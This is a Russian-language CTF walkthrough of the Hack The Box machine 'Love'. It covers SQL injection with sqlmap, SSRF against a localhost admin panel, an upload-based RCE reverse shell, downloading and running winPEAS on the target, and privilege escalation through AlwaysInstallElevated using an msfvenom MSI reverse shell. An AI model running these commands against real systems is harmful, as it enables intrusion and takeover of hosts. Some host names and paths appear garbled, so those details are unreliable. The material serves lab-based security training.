В данной статье мы рассмотрим подделку серверных запросов (SSRF) применяемую для компрометации хоста. Так же мы сделаем попытку изучить опцию AlwaysInstallElevated
применяемую для повышения привилегий.Для этого нам понадобится машина низкого уровня сложности под названием Love с площадки Hack The Box.
Рекомендуется подключаться к машинам с HTB только через VPN. Не делайте этого с компьютеров, на которых у вас есть важные данные, так как вы окажетесь в общей сети с другими участниками.
РАЗВЕДКА. СКАНИРОВАНИЕ ПОРТОВ
Адрес машины — 10.10.10.239, добавляем его в /
.
10.10.10.239 love.htb
И сканируем порты.
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Видим множество открытых портов и работающих на них служб:
- порты 80, 5000 — веб‑сервер Apache 2.4.46;
- порт 135 — служба удаленного вызова процедур (Microsoft RPC);
- порт 139 — служба имен NetBIOS;
- порт 443 — веб‑сервер Apache 2.4.46 + OpenSSL 1.1.1j;
- порт 445 — служба SMB;
- порт 3306 — СУБД MySQL;
- порт 5040 — неизвестно;
- порты 5985, 5986 — служба удаленного управления Windows (WinRM).
Прежде всего, давайте проверим, что нам может дать SMB (команда smbmap -H love.htb), но для анонимов ничего не доступно. Поэтому перейдем к Сети. При сканировании порта 443 мы получили информацию из сертификата, из которого мы узнаем о другом сайте: staging.love.htb. Мы также добавляем этот домен в / etc / hosts.
10.10.10.239 staging.htb
Теперь давайте внимательно посмотрим на оба сайта, чтобы найти точки входа, имена пользователей и другую важную информацию. Сайт love.htb приветствует нас формой авторизации, но мы знаем об используемой технологии — Voting System.
Форма авторизации love.htb
ТОЧКА ВХОДА
Voting System — это простая система голосования, написанная на PHP. Для этого обязательно должны быть готовые эксплойты. Запускаем searchsploit из Kali Linux и находим сразу несколько.
Поиск эксплоитов с помощью searchsploit
Нас интересуют четыре последних эксплоита:
- Первый эксплуатирует SQL-инъекцию для обхода авторизации.
- Второй даст удаленное выполнение кода через загрузку файлов, однако мы должны быть авторизованы в системе.
- Предпоследний эксплоит даст удаленное выполнение кода без авторизации.
- Последний — Time based SQL-инъекция, тоже без авторизации.
Для начала попробуем эксплойты, не требующие авторизации. Самый опасный — это RCE. Как указано в описании, мы можем загрузить файл через /admin/candidates_add.php
без авторизации и получить доступ к файлу в каталоге изображений, но этот эксплойт не сработал.
Запрос загрузки файла
Запрос к загруженному файлу
Опция обходной аутентификации тоже не работает, но опция с Time Based SQL-инъекцией оказалась рабочей. Мы сохраняем запрос во время авторизации в файл (в моем случае req.r
) и передаем его sqlmap
, как указано в описании эксплойта.
Запрос при авторизации
sqlmap --dbms=mysql --batch --level=1 --risk=3 -r req.r -p voter
Вывод sqlmap
Далее потихоньку вытаскиваем таблицы при поддержке того же sqlmap:
sqlmap --level=1 --risk=3 -r req.r --tables
Но поскольку это Time Based SQLi, это займет много времени, поэтому пока sqlmap
работает, мы можем протестировать другой сайт. На странице Demo по адресу http: //staging.love.htb есть служба анализа файлов.
Форма анализа файлов
С целью проверки сервиса откроем листенер и укажем в форме принадлежащий нам IP. И сразу примем отклик.
Отклик на локальный сервер
С такими сервисами стоит проверить уязвимость SSRF. SSRF — это атака на сервер, которая позволяет злоумышленнику отправлять запросы от имени взломанного хоста. SSRF можно использовать в DoS-кампаниях, чтобы скрыть истинный источник атаки. Таким образом, уязвимый хост выступает в роли прокси-сервера. Для теста SSRF вводим адрес 127.0.0.1 и получаем известную форму авторизации.
Тестирование сервиса на наличие SSRF
Так. Ну что ж SSRF присутствует. Только как она сможет нам помочь? Например, мы можем сканировать доступные порты для локального хоста, а также просматривать службы, работающие через HTTP. Во время сканирования порта мы получили ответ Forbidden от службы, отвечающей за порт 5000. Давайте еще раз посмотрим, используя наш «прокси».
Сервис на порте 5000
В итоге у нас появился сервис, в котором мы можем шпионить за паролем администратора, а затем войти в систему по адресу http: //love.htb/admin/.
Панель администратора Voting System
ТОЧКА ОПОРЫ
Поскольку у нас есть учетные данные, нам нужно проверить последний эксплойт, который позволяет удаленное выполнение кода через загрузку файла. Но прежде чем мы начнем, давайте взглянем на исходный код эксплойта.
Исходный код эксплоита
Эксплойт принуждён активизировать соединение с указанным (локальным IP) адресом и портом. Но сначала вам нужно создать листенер, который будет принимать это соединение. В таких случаях я использую rlwrap — удобную оболочку с историей команд. В качестве листенера возьмем хорошо известный netcat.
apt install rlwrap
rlwrap nc -lvp [port]
Потом нам следует ввести адрес и порт листенера в строках 15 и 16 кода, адрес атакованного хоста в строке 12 и имя пользователя и пароль в строках 13 и 14. Найдите URL-адрес в строках 19–22. В нашем случае на сайте нет каталога votesystem, поэтому его тоже нужно удалить в коде. Ниже приведен модифицированный код эксплойта.
Измененный код эксплоита
И после выполнения получаем бэкконнект.
Выполнение эксплоита
Флаг пользователя
ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
Теперь же, когда у нас есть доступ к хосту, нам необходимо собрать данные. Существует множество источников информации, и в этих случаях полезны сценарии PEASS, которые проверяют их все автоматически. Загрузим скрипт для Windows на localhost.
wget https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/raw/master/winPEAS/winPEASexe/binaries/x64/Release/winPEASx64.exe -O wpeas.exe
Сейчас нам нужно загрузить его на удаленный хост. В каталоге со сценарием на локальном компьютере запустим простой веб-сервер с использованием python. После выполнения этой команды веб-сервер будет прослушивать порт 8000.
python3 -m http.server
А теперь, используя тот же PowerShell wget на целевой машине, загрузите скрипт с локального на удаленный хост. После загрузки нужно запустить скрипт.
powershell wget http://[ip_локального_хоста]:8000/wpeas.exe -O C:\Windows\Temp\wpeas.exe
C:\Windows\Temp\wpeas.exe
В выводе WinPEAS вы можете обратить внимание на параметр UAC, историю команд PowerShell и, что наиболее важно, параметр AlwaysInstallElevated.
UAC Status
PowerShell Settings
Checking AlwaysInstallElevated
Этот параметр указывает, что каждый файл MSI должен быть установлен с повышенными привилегиями (NT AUTHORITY \ SYSTEM). Следовательно, после создания и загрузки такого файла вы можете выполнять действия от имени системы даже для непривилегированного пользователя.
Создадим MSI-файл с реверс‑шеллом. В этом нам может помочь фреймворк Metasploit, а именно модуль msfvenom.
msfvenom -p windows/x64/shell_reverse_tcp LHOST=[IP] LPORT=[PORT] -f msi -o r.msi
Генерирование нагрузки
Сейчас запустим многофункциональный листенер в Metasploit. За это отвечает модуль обработчика, которому необходимо знать тип нагрузки, а также локальный адрес и порт, на котором вам нужно принять соединение.
handler -p windows/x64/shell_reverse_tcp -H 10.10.14.38 -P 4321
Создание листенера
Загружаем файл .msi
так же, как WinPEAS
, а затем запускаем его. Через несколько секунд мы получаем новую сессию Metasploit.
Итог